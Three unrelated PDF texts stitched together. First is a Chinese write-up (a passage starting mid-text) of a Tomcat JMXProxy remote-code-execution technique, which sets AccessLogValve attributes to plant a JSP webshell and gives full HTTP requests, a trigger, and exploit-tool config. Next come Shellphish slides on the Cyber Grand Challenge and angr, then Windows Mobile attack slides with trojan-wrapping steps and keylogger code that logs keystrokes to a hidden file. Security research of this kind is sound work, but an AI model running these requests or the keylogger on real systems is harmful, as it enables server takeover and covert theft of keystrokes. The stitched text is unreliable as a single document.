http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
0x02 JMX
JMX 与 Tomcat 无关,在 Java 官方文档对于 JMX 的定义如下:
JMX( Java Management Extensions )是一个为应用程序植入管理功能的框架。 JMX 是一套标准的代理
和服务,实际上,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理。
用人话来说: JMX 让程序有被管理的功能,例如某 Web 网站是在24小时不间断运行,那么对网站进行监
控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
借用网上博客一张图:一般 JMX 会通过 Adapter 实现 Web 管理页面,例如 Zabbix 和 Nagios 等工具对
于 JVM 的监控实现,老一些的平台比如 JDMK 和 MX4J 等。
结合实例来讲,我搭建了一个 MX4J 的监控平台
进入其中的 ClassLoading 属性观察:监控到类的属性,并且部分值可以在运行时进行修改
┌─────────┐ ┌─────────┐
│jconsole │ │ Web │
└─────────┘ └─────────┘
│ │
┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
JVM ▼ ▼ │
│ ┌─────────┐ ┌─────────┐
┌─┤Connector├──┤ Adaptor ├─┐ │
│ │ └─────────┘ └─────────┘ │
│ MBeanServer │ │
│ │ ┌──────┐┌──────┐┌──────┐ │
└─┤MBean1├┤MBean2├┤MBean3├─┘ │
│ └──────┘└──────┘└──────┘
─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
在网上进行搜索可以发现大量类似的 JMX 管理页面,我们可以实时地修改 JVM 内部的一些属性
但这种修改大多数情况下是无意义的,顶多由于某些属性为空通过空指针导致拒绝服务这样的鸡肋洞
因此研究如何通过 JMX 修改变量以实现 RCE 是比较有意义的研究
0x03 JMXProxy
接下来是本文的重点,在 Tomcat Manager 中还有一种特殊的管理: JMX Proxy Servlet
参考 Tomcat 9.0 官方文档 中的描述,翻译后为:
JMX Proxy Servlet 是一个轻量级代理,用于获取和设置 Tomcat 内部或任何已通过 MBean 公开的类。
它的使用不是非常用户友好,但对于集成命令行脚本以监视和更改 Tomcat 的内部结构非常有帮助。您
可以使用代理做两件事:获取信息和设置信息。要真正了解 JMX Proxy Servlet,您应该对 JMX 有一个
大致的了解。如果您不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么解释 confused 这个词就用
迷惑了)
直接阅读这段话可能不能够理解,通过开头对 JMX 概念的描述,应该问题不大。 Tomcat 提供了 JMX 的
Agent 或者说 API 给用户,而用户一般不是直接手动管理,而是会选择第三方平台进行管理,正是这个
原因导致该漏洞有了实际的危害
参考示例,例如我们需要监控运行时的堆内存使用情况
执行后得到的结果
不仅可以监控 JVM 属性也可以修改 JVM 中的一些属性,例如开头 JMX 篇章中提到的一个场景:
在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
在 JMXProxy 中也提供了修改一些变量的方法
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
OK - Attribute get 'java.lang:type=Memory' - HeapMemoryUsage =
javax.management.openmbean.CompositeDataSupport
// ......
contents={committed=308281344, init=534773760, max=7602176000, used=106332232})
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
set: 目标的 BEANNAME (类似类名)
att: 目标的属性(类似类中的字段属性)
val: 需要修改的新值
另外支持命令调用,不过这一点我并没有做深入研究(也许一些特殊命令组合存在漏洞?)
总结:
JMXProxy 提供 Tomcat 的 JMX 接口给第三方平台分析和管理
用于监控 Tomcat 内部并且支持部分变量的修改
0x04 RCE
本节内容是针对 Tomcat 的 JMXProxy 如何实现 RCE
换句话来说:哪些 JMXProxy 支持修改的属性被修改后可以 RCE
经过肉眼审计,我发现一个有趣的类(熟悉 Spring RCE 的师傅应该一眼就能看出来)
AccessLogValve
对应 JXMProxy 中的描述信息如下,重点关注五个属性:
prefix:访问日志前缀
pattern:访问日志格式
suffix:访问日志后缀
directory:访问日志目录
fileDateFormat:访问日志名日期格式
假设以上五个属性可以被设置,那么接下来的 RCE 之路就很简单了
于是我测试了每一个属性,发现都可以成功修改
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
Name: Catalina:type=Valve,host=localhost,name=AccessLogValve
modelerType: org.apache.tomcat.util.modeler.BaseModelMBean
rotatable: true
checkExists: false
prefix: localhost_access_log
pattern: %h %l %u %t "%r" %s %b
className: org.apache.catalina.valves.AccessLogValve
locale: zh_CN
suffix: .txt
directory: logs
enabled: true
stateName: STARTED
buffered: true
asyncSupported: true
renameOnRotate: false
fileDateFormat: .yyyy-MM-dd
RCE 的思路如下:
修改日志格式为一句话:于是每条新日志都会变成一句话
注意不能包含特殊符号,所以使用 %{header}i 从请求头中提取 <% 等特殊符号
修改日志后缀为:JSP
修改日志前缀为:shell(只要可控即可无需在意具体是什么)
修改日志目录为可以解析JSP的目录:例如默认的 webapps/ROOT
修改日志文件名时间格式目的是使 rotate 创建新文件,写入 JSP 马
带有特殊请求头的请求即可写入 Webshell
第一步:
这里有一个细节:要求其中的 val 参数为全部的 URL 编码
开头和结尾的特殊符号从请求头的 p 和 s 中获取
第二步:
修改日志后缀为:JSP
第三步:
修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)
GET /manager/jmxproxy/?
set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7
b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%
78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63
%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
GET /manager/jmxproxy/?
set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp
HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
第四步:
修改日志存储目录到可解析 JSP 的目录: webapps/ROOT
第五步:
修改日志文件名日期格式目的是:触发 AccessLogValve 的 rotate 功能
在 log 日志记录信息的第一行调用 rotate 方法
跟入 rotate 方法
跟入 open 方法如果新的 fileDateFormatter 不同则 FileOutputStream 写入新文件
GET /manager/jmxproxy/?
set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell
HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
GET /manager/jmxproxy/?
set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=web
apps/ROOT HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
public void log(CharArrayWriter message) {
rotate();
// ...
}
public void rotate() {
// ...
String tsDate;
// Check for a change of date
tsDate = fileDateFormatter.format(new Date(systime));
// If the date has changed, switch log files
if (!dateStamp.equals(tsDate)) {
close(true);
dateStamp = tsDate;
open();
}
// ...
}
新日志文件名来自于 prefix 和 sufix 的拼接
发送请求 Payload
第六步:
发送带有 p 和 s 请求头的请求,成功写入一句话
RCE:
我将以上发包的过程自动化,成功利用
protected synchronized void open() {
// Open the current log file
// If no rotate - no need for dateStamp in fileName
File pathname = getLogFile(rotatable && !renameOnRotate);
// ...
writer = new PrintWriter(new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(pathname, true), charset), 128000),
false);
// ...
}
private File getLogFile(boolean useDateStamp) {
// ...
File dir = getDirectoryFile();
// ...
pathname = new File(dir.getAbsoluteFile(), prefix + suffix);
// ...
return pathname;
}
GET /manager/jmxproxy/?
set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&va
l= HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)
GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//
GET /shell.jsp?cmd=calc.exe HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
0x05 实战
虽说 RCE 成功但是:需要有基础认证才可以触发漏洞
目前来看这仅是一种鸡肋的后台 RCE 手段,有必要研究一下实际的利用
直接的想法是: Manager 弱口令,这个没有讨论的必要
是否可以不认证就利用(借助第三方平台)
值得说明的一点是:黑盒情况下不能确定其他平台监控管理是否基于 JMXProxy
假设某平台底层基于 JMXProxy 提供的 API 那么相当于是一个绕过
假设某平台并不基于 JMXProxy 但是可以修改 AccessLogValve 属性同样可以 RCE
所以无论第三方平台是否基于 JMXProxy 实现监控只要可以修改目标数据即可 RCE (参考上图)
通过一些手段我找到了不少类似下图的管理平台,利用方式一眼即可看出
检查了其他端口,开着基于 Java 的 Web 服务,99%概率跑在 Tomcat 下,后续就不多写了
另外在 Apache Tomcat 的文档中明确写出:只有 manager-gui 受到 CSRF 保护而 JMX 不受保护
因此容易想到基于 CSRF 或 CSRF+XSS 的利用方式,由于 JMX 接口是 GET 反而更容易利用
对于存在 XSS 漏洞的情况下,更加容易利用
0x07 总结
我写了一个自动利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp
在 tomcat/conf/tomcat-users.xml 配置
修改 config.ini 利用文件,然后一把梭即可复现
The HTML interface is protected against CSRF (Cross-Site Request Forgery)
attacks
but the text and JMX interfaces cannot be protected.
<user username="admin" password="123456" roles="manager-jmx"/>
执行 EXP 程序: ./tomcat-jmxproxy-rce-exp
正如开头所说,虽然 Tomcat 官方不认可,但我认为该漏洞的危害大于一些 Tomcat 曾经的 RCE CVE
官方否认漏洞的四个原因是:
用户必须开启 manager 功能,在默认 Tomcat 中是关闭的
用户必须暴漏 manager/jmxproxy 到公网
用户必须使用了弱口令
如果是非弱口令的情况下 Tomcat 已有 LockOutRealm 可以防御
其实 Tomcat 官方否认是理由充足的,但他们没有考虑到第三方平台的影响和实际的危害
例如曾经的 Tomcat Session RCE 条件同样高,甚至需要基于文件上传漏洞,实战价值未必大
个人认为 JMXProxy 漏洞虽然有限制条件,但在整个漏洞利用链中该限制条件是可以被绕过的
后来我反驳过官方:
Tomcat Session RCE 在实战中不可能遇到,或者概率极小,但是你们认可了
通过第三方 JMX 平台未授权造成的 RCE 案例我找到了多个,并且理论上只要愿意找还会有更多
从实际危害角度来看,显然我报告的漏洞存在更大的危害和风险,为什么不认可
官方回复很简单:无论危害多大,你说的都是用户的错误,不是 Tomcat 的错误
从另一个角度来看,该漏洞可以被理解为未授权访问或者越权操作的漏洞
使用 manager-gui 是最高的权限,可以直接启动停止和部署war包
使用 manager-jmx 是较低的权限,理论上只能监控和修改部分变量
如果一个 manager-jmx 用户可以通过一些手段(例如 RCE )达到 manager-gui 能做的事情,这是否可以
认为是一种漏洞?
如果我最初提交给 Tomcat 的报告这样来写,会不会得到认可?
0x08 修复
我向 Tomcat 官方建议的修复方案是:
在文档中明确说明: JMXProxy 存在 RCE 的安全风险
# target ip
host=127.0.0.1
# target port
port=8080
# target tomcat jmxproxy username
username=admin
# target tomcat jmxproxy password
password=123456
# execute command
cmd=calc.exe
限制对 AccessLogValve 属性的修改或者设置为只读
由于业务需要不能限制功能的话,至少限制 suffix 不能为 .jsp 等可被解析执行的后缀
不过 Tomcat 官方并没有采纳,他们不认为这是漏洞
对于实际的项目来说,修复方案如下:
如果开启了 manager-jmx 功能务必设置强密码
如果使用了 MX4J 等第三方平台对 JMX 进行管理,检查是否可以未授权访问
如果自己编写基于 Tomcat 的 JMX 管理功能,应该对 AccessLogValve 属性进行限制 | pdf |
University of California, Santa Barbara
HITCON Enterprise
August 27th, 2015
A Dozen Years of Shellphish
From DEFCON to the
Cyber Grand Challenge
Antonio Bianchi
[email protected]
3
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live demonstration!
● Towards the Cyber Grand Challenge Finals
4
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live demonstration!
● Towards the Cyber Grand Challenge Finals
5
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
● Who are we?
○ a team of security enthusiasts
■ do research in system security
■ play Capture the Flag competitions
6
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
○ Started (in 2004) at:
■ SecLab: University of California, Santa Barbara
7
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
○ expanded to:
■ Northeastern University: Boston
■ Eurecom: France
■ ...
8
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CTF competitions
● Security competitions
● Different challenges
○ exploit a vulnerable service
○ exploit a vulnerable website
○ reversing a binary
○ …
● Different formats
○ Jeopardy ‒ Attack-Defense
○ Online ‒ Live
9
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
10
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
○ We do not only play CTFs
○ We also organize them!
■ UCSB iCTF
● Attack-Defense format
● every year, since 2002!
■ References:
● http://ictf.cs.ucsb.edu
●
https://github.com/ucsb-seclab/ictf-framework
●
Vigna, et al., "Ten years of ictf: The good, the bad,
and the ugly." 3GSE, 2014.
11
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish
○ If you want to know more about Shellphish:
■ Attend the talk of my “colleague”:
Yan Shoshitaishvili
■ Saturday, August 29th (14:20 − 15:10)
HITCON Community
12
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live-demonstration!
● Towards the Cyber Grand Challenge Finals
13
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Cyber Grand Challenge (CGC)
● 2004: DARPA Grand Challenge
○ Autonomous vehicles
● 2014: DARPA Cyber Grand Challenge
○ Autonomous hacking!
14
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Cyber Grand Challenge (CGC)
● Started in 2014
● Qualification event: June 3rd, 2015, online
○ ~70 teams → 7 qualified teams
● Final event: August 4th, 2016 @ DEFCON (Las Vegas)
15
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC ‒ Rules
● Attack-Defense CTF
● No human intervention
● Develops a system that automatically
○ Exploit vulnerabilities in binaries
○ Patch binaries, removing the vulnerabilities
16
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC Qualification Event ‒ Rules
● Every team has to:
○ Generate exploits
■ an input to a binary
● the binary crashes (invalid memory access)
● encoded as a list of recv/send/… operations
○ Patch binaries
■ fix the vulnerabilities
■ preserve the original binary’s functionality
■ performance impact is evaluated
● CPU time, memory consumption, disk space
17
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC Qualification Event ‒ Rules
● Architecture: Intel x86, 32bit
● Operating System: DECREE
○ Linux-like
○ only 7 syscalls
■
terminate (exit)
■
transmit (write)
■
receive (read)
■
fdwait (select)
■
allocate (mmap)
■
deallocate (munmap)
■
random
○ no signal handling, no not-executable stack, no ASLR, …
● DECREE VM
○ standard Linux ELF binaries
○ CGC binaries
18
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live demonstration!
● Towards the Cyber Grand Challenge Finals
19
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish CRS
vulnerable
binary
patched
binary
exploit
Cyber
Reasoning
System
20
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish CRS
vulnerable
binary
proposed
patches
proposed
exploits
Shellphish CRS
Automatic
Testing
exploit
patched
binary
Automatic
Patching
Automatic
Vulnerability
Finding
Automatic
Vulnerability
Finding
21
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live demonstration!
● Towards the Cyber Grand Challenge Finals
22
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Automatic Vulnerability Discovery
“How do I crash a binary?”
“How do I trigger a condition X in a binary?”
Dynamic Analysis/Fuzzing
Symbolic Execution
23
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Dynamic Analysis/Fuzzing
● How do I trigger the condition: “You win!” is printed?
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
24
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Dynamic Analysis/Fuzzing
● How do I trigger the condition: “You win!” is printed?
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
● Try “1” → “You lose!”
● Try “2” → “You lose!”
● …
● Try “10” → “You win!”
25
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Dynamic Analysis/Fuzzing
● How do I trigger the condition: “You win!” is printed?
x = int(input())
if x >= 10:
if x == 123456789012:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
26
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
● Interpret the binary code, using symbolic variables for
user-input
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State A
Variables
x = ???
Constraints
{}
27
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State A
Variables
x = ???
Constraints
{}
State AA
Variables
x = ???
Constraints
{x >= 10}
State AB
Variables
x = ???
Constraints
{x < 10}
● Follow all feasible paths, tracking "constraints" on
variables
28
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State AA
Variables
x = ???
Constraints
{x >= 10}
State AB
Variables
x = ???
Constraints
{x < 10}
● Follow all feasible paths, tracking "constraints" on
variables
29
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State AA
Variables
x = ???
Constraints
{x >= 10}
● Follow all feasible paths, tracking "constraints" on
variables
30
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State AA
Variables
x = ???
Constraints
{x >= 10}
State AAA
Variables
x = ???
Constraints
{x >= 10, x < 100}
State AAB
Variables
x = ???
Constraints
{x >= 10, x >= 100}
● Follow all feasible paths, tracking "constraints" on
variables
31
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
x = int(input())
if x >= 10:
if x < 100:
print "You win!"
else:
print "You lose!"
else:
print "You lose!"
State AAA
Variables
x = ???
Constraints
{x >= 10, x < 100}
State AAA
Variables
x = 99
Concretization
● Concretize the constraints on the symbolic variables
32
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
● How did we use Symbolic Execution for CGC?
● We used the symbolic execution engine of
Angr: a binary analysis platform developed at UCSB
33
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
● How did we use Symbolic Execution for CGC?
● Symbolically execute the binaries checking if one of
these two conditions is true
Memory accesses outside
allocated regions
“Unconstrained” instruction
pointer (e.g., controlled by
user input)
● We used the symbolic execution engine of
Angr: a binary analysis platform developed at UCSB
34
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Symbolic Execution
● How did we use Symbolic Execution for CGC?
● Symbolically execute the binaries checking if one of
these two conditions is true
Memory accesses outside
allocated regions
“Unconstrained” instruction
pointer (e.g., controlled by
user input)
● We used the symbolic execution engine of Angr:
the binary analysis platform developed at UCSB
35
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live demonstration!
● Towards the Cyber Grand Challenge Finals
36
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr
● Binary analysis platform,
developed at UCSB
● Open-source:
https://github.com/angr (please “star” it!)
● Written in Python!
○ installable with one single command!
○ interactive shell (using IPython)
● Architecture independent
○ x86 (ELF, CGC, PE), amd64, mips, mips64, arm, aarch64,
ppc, ppc64
37
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
● CADET_00001
38
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
● CADET_00001
39
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
int check(){
char string[64];
receive_delim(0, string, 128, '\n')
//check if the string is palindrome
//...
return result;
}
● CADET_00001: a classic buffer overflow
40
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
import angr
p = angr.Project("CADET_00001")
pg = p.factory.path_group(immutable=False,
save_uncontsrained=True)
while len(pg.unconstrained)==0:
pg.step()
crash_state = pg.unconstrained[0].state
crash_state.posix.dumps(0)
● CADET_00001: a classic buffer overflow
41
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
#define EASTEREGG "\n\nEASTER EGG!\n\n"
//the “caret” character (“^”) triggers the Easter Egg
if(string[0] == '^'){
transmit_all(1,EASTEREGG, sizeof(EASTEREGG)-1)
}
● CADET_00001: triggering the “Easter Egg”
42
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
● CADET_00001: triggering the “Easter Egg”
43
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Angr ‒ Demonstration
import angr
p = angr.Project("CADET_00001")
pg = p.factory.path_group(immutable=False)
pg.explore(find=0x804833E)
pg.found[0].state.posix.dumps(0)
● CADET_00001: triggering the “Easter Egg”
44
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Agenda
● Shellphish
● The DARPA Cyber Grand Challenge
● Shellphish’s Cyber Reasoning System
● Automatic Vulnerability Discovery
○ Angr → Live-demonstration!
● Towards the Cyber Grand Challenge Finals
45
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
● 7 teams passed the qualification phase
● Shellphish is one of them! :-)
● We exploited 44 binaries out of 131
● Every qualified team received 750,000$ !
CGC Quals ‒ Results
46
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC Finals
● The system will need to be 100% automated
○ no possibility of bug fixing after competition’s start
● Partially different rules
○ An exploit needs to
■ set a specific register to a specific value
■ leak data from a specific memory region
■ we need to implement more “realistic” exploits
● Angr automatic ROP-chain builder!
○ Network-level monitoring and defenses
47
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC Finals
● Every team will have access
to a cluster of:
○ 1280 cores
○ 16 TB of RAM
○ 128 TB of storage
48
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
CGC Finals
● Money prices!
○ First place: 2,000,000$
○ Second place: 1,000,000$
○ Third place: 750,000$
● The winning team will compete against human teams at
DEFCON CTF Finals :-)
49
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
Shellphish CGC Team
50
A Dozen Years of Shellphish – from DEFCON to the Cyber Grand Challenge
“That’s all folks!”
Questions?
References:
this presentation: http://goo.gl/3ulxRa
angr: https://github.com/angr/angr
HITCON Community talk: Saturday, August 29th (14:20 − 15:10)
emails: [email protected] ‒ [email protected] | pdf |
Who am I?
• Seth Fogie, VP Airscanner
• Airscanner Mobile Security
– Mobile AntiVirus
– Mobile Encrypter
– and more coming…
• Author
– Security Warrior
– Maximum Wireless Security
– InformIT.com Security Section
Overview
• Basic Security Issues
• Conceal A Backdoor Wizard
• Keyboard Logger
• Reverse Engineering Overview
• The Invisible Spy
• The Backdoor FTP Server
• Hard Reset Code Extract
• Window Mobile Buffer Overflow
• Miscellaneous Attacks
• Protections and Preventions
Basic Security Issues
• Intrinsically lacking in security
• Lost/stolen/repaired/Sold PDA’s
• Password issues:
– Stored in reg. Cpl swap. Bruteforce.
• Biometrics
• Bluetooth/IR issues
• Wi-Fi issues
• ActiveSync DoS connect/disconnect on port 5679
• Network DoS attacks – ping –i .001 <PDA IP>
• Forensics Programs ‘copy’ RAM/ROM image
• Hard Reset/Soft Reset DoS (more on this later)
• Autorun fun with folder 2577 (demos)
Conceal A Backdoor Wizard (Cabwiz)
• Trojan wrapper
– Conceals Trojan install files & registry settings
– Consolidates installation process into one step
– Self extracting and self executing
– CAB files self destructs
– Created by Microsoft…guaranteed to work
• Steps
– Create Trojan files & determine registry settings
– Msdn.microsoft.com for instructions
– .inf file contains all relevant information
– C:\Cabwiz fungame.inf = fungame.cab
What is a PDA Keyboard
• What is a Windows Mobile
Keyboard?
– Large bitmap
– Code to define what section to load
– Key array to define key press
behavior
• Character to be ‘typed’
• Button coordinates to be ‘pushed’
– Packaged as core DLL (MSIM.DLL)
– Configured via registry settings
Keyboard Logger?
• Challenges
– Requires creation of custom alternate keyboard
– Installable DLL with registry settings
– OS and OEM variations
• Creation
– Soft Input Panel Starters:
• Programming CE .NET (sample numerical keyboard)
• Platform Builder (sample SIP)
• EVC4
– SIP Code + (CreateFile, SetFilePointer, WriteFile)
Keyboard Logger Details
• The Code
– HANDLE hfile;
– hfile=CreateFile(TEXT("\\logfile.txt"), GENERIC_WRITE,
FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_HIDDEN, 0);
– SetFilePointer(hfile, 0, NULL, FILE_END);
– WriteFile(hfile, keyValue, keyValueSize, &dwordValue,
NULL);
– CloseHandle(hfile);
• Registry Settings:
– IsSIPInputMethod disabled for real keyboard
• CLSID: 42429667-ae04-11d0-a4f8-00aa00a749b9 (set 1 to 0)
– ‘Keyboard’ name & icon borrowed by keylogger.dll
– New keyboard has own CLSID with settings
– HKCU\ControlPanel\SIP\DefaultIM\{CLSID}
Keyboard Logger!
• Install with help of cabwiz (demo)
• Difficult to detect
– Hidden attribute set on WriteFile = invisible file
– Process practically invisible
RVE Overview
• OS & Hardware specifics
• Legal Issues
• RVE tools and techniques
• ARM Fundamentals
• Windows 2000 Kernel with 32 process limit
• Memory
– RAM (Registry, Programs, Databases)
– ROM (OS)
• eXecute In Place – Save memory (No Compression)
• Can’t break executing DLL code
• Graphics, Windowing and Event Subsystem
• Scheduler
– Multitasking
– Thread level vs. process level scheduling
Windows CE Overview
RVE Legal Issues
• Laws
– No person shall circumvent a technological measure that
effectively controls access to a work protected under this title.
– to ''circumvent a technological measure'' means to descramble a
scrambled work, to decrypt an encrypted work, or otherwise to
avoid, bypass, remove, deactivate, or impair a technological
measure, without the authority of the copyright owner;
• Encryption Research & Security Testing
– identify and analyze flaws and vulnerabilities of encryption
technologies applied to copyrighted works
– accessing a …computer system…solely for the purpose of
…investigating… a security flaw or vulnerability…
• I have obtained permission to RVE these programs…
• Prerequisites
– ASM (concept)
– Hex to Binary to ASCII to Decimal
– ARM Processor
• Registers
• Opcodes
Binary
Decimal
HEX
ASCII
01001011
01000011
01000001
01001100
01000010
075
067
065
076
066
4B
43
41
4C
42
K
C
A
L
B
Reverse Engineering Fundamentals
• Registers
– 37 Total @ 32 bit each
– Register purpose changes depending on mode
– R0 – R14 + PC(R15)
– R15(PC): Program Counter – Next address of
execution
– R14: Link Register (LR) – Hold sub routine
return address.
– R13: Stack Pointer (SP)
– Status Flags (NZCO)
• Negative / Less Than
• Zero (Equal)
• Carry / Borrow / Extend
• Overflow
ARM Registers
ARM Registers
• Move (MOV) – XX XX A0 EX
– MOV R3, R1:
01 30 A0 E1
– MOV R2, #1:
01 20 A0 E3
• Compare (CMP) – XX XX 5X EX
– CMP R2, R3:
03 00 52 E1
– CMP R4, #1:
01 00 54 E3
ARM Opcodes – MOV, CMP
• Status Flags
– CMP R0, R1
– MOVS R0, R1 / ANDS R0, R1, 0xFF
R0>=R11
R0=R11
R0 >= R10
C
Z
N
Pass through
R1 = 0 1
R1 < 0 1
C
Z
N
ARM Status Flags
•HI: C set and Z clear unsigned
higher
•LS: C clear or Z set unsigned
lower or same
•GE: N equals V greater or equal
•LT: N not equal to V less than
•GT: Z clear AND (N equals V)
greater than
•LE: Z set OR (N not equal to V)
less than or equal
•AL: (ignored) always
•EQ: Z set equal
•NE: Z clear not equal
•CS: C set unsigned higher or
same
•CC: C clear unsigned lower
•MI: N set negative
•PL: N clear positive or zero
•VS: V set overflow
•VC: V clear no overflow
ARM Status Flags
• Branch (B) - XX XX XX EA
– BEQ: If Z = 1 (XX XX XX 0A)
– BNE: If Z = 0 (XX XX XX 1A)
– BMI: If N = 1 (XX XX XX 4A)
• Branch Link (BL) - XX XX XX EB
– BLEQ: If Z = 1 (XX XX XX 0B)
– BLNE: If Z = 0 (XX XX XX 1B)
ARM Opcodes – B, BL
•
Load Register (LDR) / Store Register (STR)
– STR R1, [R4, R6]
Store R1 in R4+R6
– STR R1, [R4,R6]!
Store R1 in R4+R6 and write the
address in R4
– STR R1, [R4], R6
Store R1 at R4 and write back
R4+R6 to R4
– STR R1, [R4, R6, LSL#2]
Store R1 in R4+R6*2
(LSL discussed next)
